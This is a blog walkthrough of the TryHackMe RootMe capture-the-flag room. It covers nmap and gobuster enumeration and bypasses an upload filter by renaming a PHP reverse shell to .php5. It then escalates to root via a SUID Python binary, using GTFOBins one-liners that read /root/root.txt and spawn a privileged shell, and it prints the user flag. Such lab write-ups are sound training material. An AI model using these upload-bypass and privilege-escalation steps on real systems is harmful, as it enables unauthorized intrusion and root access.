-->

  • TryHackMe RootMe CTF walkthrough

     

    TryHackMe RootMe CTF walkthrough

     

     


    The platform develops virtual classrooms that not only allow users to deploy training environments with the click of a button, but also reinforce learning by adding a question-answer approach. Its a comfortable experience to learn using pre-designed courses which include virtual machines (VM) hosted in the cloud.

    TryHackMe RootMe CTF walkthrough

    While using a question-answer model does make learning easier, TryHackMe allows users to create their own virtual classrooms to teach particular topics enabling them to become teachers. This not only provides other users with rich and varied content, but also helps creators reinforce their understanding of fundamental concepts.






     TryHackMe RootMe CTF walkthrough







    TryHackMe Room :- Click Here

     

    RootMe CTF 

     

    First we start scanning with nmap and Enumerated the box as normal. You can answer all the questions in task 2 from our enumeration.

     

    • nmap -A -T4 -sV -sC -Pn -p- 10.10.162.244
    • nmap -A -vv -sV -sC  10.10.162.244

     

     


     

     

    Running gobuster to find out the hidden directories

     

    gobuster dir -u http://10.10.162.244 -w /usr/share/dirb/wordlists
     

     


     

    I then went into the /panel directory of the website and found an upload form. I then uploaded a simple php reverse shell, but with the extension of .phtml as the site would not let me upload a .php file.

     

     


     

     

    We can upload contents and the uploaded files can be accessed from /uploads. Using this we can upload a php reverse shell and get code execution on the box.

     

     

    Reverse shell


    Let us upload a file shell.php with following contents but .php extension is not allowed.

     


     

     

    But looks like there is some check in place which dont let us upload a php file.

    So I renamed it php-reverse-shell.php5 and uploaded the file again.

     

    Click Here to Download a php reverse shell file   after downloading don't forget to change a IP address and file extension with  .php5

     

    Like this :-

     


     

     

    Getting a reverse shell


    Listening on our box on port 1234

     


     

     

    Get a Proper Shell

    python -c "import pty;pty.spawn('/bin/bash')"  




     

     

     

     

    We were placed in the / directory so we needed to know where home was for www-data

     

    cd /etc/passwd

     


     

    So, we change into /var/www and see the user.txt flag

    cd /var/www

    ls -la

    cat user.txt

     

    cd /var/www
    ls -la
    total 20
    drwxr-xr-x  3 www-data www-data 4096 Aug  4 17:54 .
    drwxr-xr-x 14 root     root     4096 Aug  4 15:08 ..
    -rw-------  1 www-data www-data  129 Aug  4 17:54 .bash_history
    drwxr-xr-x  6 www-data www-data 4096 Aug  4 17:19 html
    -rw-r--r--  1 www-data www-data   21 Aug  4 17:30 user.txt
    cat user.txt
    THM{y0u_g0t_a_sh3ll}

     

    Now we need to figure out how to get the root.txt flag. Looking for the SUID binaries we see that our favorite scripting language has one set:


    find / -user root -perm -4000 2>/dev/null

    OR 

    find / -user root -perm /4000 

     

    find / -user root -perm -4000 2>/dev/null
    /usr/lib/dbus-1.0/dbus-daemon-launch-helper
    /usr/lib/snapd/snap-confine
    /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
    /usr/lib/eject/dmcrypt-get-device
    /usr/lib/openssh/ssh-keysign
    /usr/lib/policykit-1/polkit-agent-helper-1
    /usr/bin/traceroute6.iputils
    /usr/bin/newuidmap
    /usr/bin/newgidmap
    /usr/bin/chsh
    /usr/bin/python   <-----------------
    /usr/bin/chfn
    /usr/bin/gpasswd
    /usr/bin/sudo
    /usr/bin/newgrp
    /usr/bin/passwd
    /usr/bin/pkexec
    /snap/core/8268/bin/mount
    /snap/core/8268/bin/ping
    /snap/core/8268/bin/ping6
    /snap/core/8268/bin/su
    /snap/core/8268/bin/umount
    /snap/core/8268/usr/bin/chfn
    /snap/core/8268/usr/bin/chsh
    /snap/core/8268/usr/bin/gpasswd
    /snap/core/8268/usr/bin/newgrp
    /snap/core/8268/usr/bin/passwd
    /snap/core/8268/usr/bin/sudo
    /snap/core/8268/usr/lib/dbus-1.0/dbus-daemon-launch-helper
    /snap/core/8268/usr/lib/openssh/ssh-keysign
    /snap/core/8268/usr/lib/snapd/snap-confine
    /snap/core/8268/usr/sbin/pppd
    /snap/core/9665/bin/mount
    /snap/core/9665/bin/ping
    /snap/core/9665/bin/ping6
    /snap/core/9665/bin/su
    /snap/core/9665/bin/umount
    /snap/core/9665/usr/bin/chfn
    /snap/core/9665/usr/bin/chsh
    /snap/core/9665/usr/bin/gpasswd
    /snap/core/9665/usr/bin/newgrp
    /snap/core/9665/usr/bin/passwd
    /snap/core/9665/usr/bin/sudo
    /snap/core/9665/usr/lib/dbus-1.0/dbus-daemon-launch-helper
    /snap/core/9665/usr/lib/openssh/ssh-keysign
    /snap/core/9665/usr/lib/snapd/snap-confine
    /snap/core/9665/usr/sbin/pppd
    /bin/mount
    /bin/su
    /bin/fusermount
    /bin/ping
    /bin/umount


     

    GTFO

     

    Using GTFObins we see a way that we can access files that we normally wouldn't be able to due to permission restrictions.

     

    • python -c 'print(open("/root/root.txt").read())'  
    • /usr/bin/python -c 'import os; os.execl("/bin/sh", "sh", "-p")'                                                                        

                                                                                                           
                                                     


     

     

    Disclaimer



    This was written for educational purpose and pentest only.
    The author will not be responsible for any damage ..!
    The author of this tool is not responsible for any misuse of the information.
    You will not misuse the information to gain unauthorized access.
    This information shall only be used to expand knowledge and not for causing  malicious or damaging attacks. Performing any hacks without written permission is illegal ..!


    All video’s and tutorials are for informational and educational purposes only. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. We believe that it is impossible to defend yourself from hackers without knowing how hacking is done. The tutorials and videos provided on www.hackingtruth.in is only for those who are interested to learn about Ethical Hacking, Security, Penetration Testing and malware analysis. Hacking tutorials is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used.


    All tutorials and videos have been made using our own routers, servers, websites and other resources, they do not contain any illegal activity. We do not promote, encourage, support or excite any illegal activity or hacking without written permission in general. We want to raise security awareness and inform our readers on how to prevent themselves from being a victim of hackers. If you plan to use the information for illegal purposes, please leave this website now. We cannot be held responsible for any misuse of the given information.



    - Hacking Truth by Kumar Atul Jaiswal



    I hope you liked this post, then you should not forget to share this post at all.
    Thank you so much :-

     


  • 0 comments:

    Post a Comment

    For Any Tech Updates, Hacking News, Internet, Computer, Technology and related to IT Field Articles Follow Our Blog.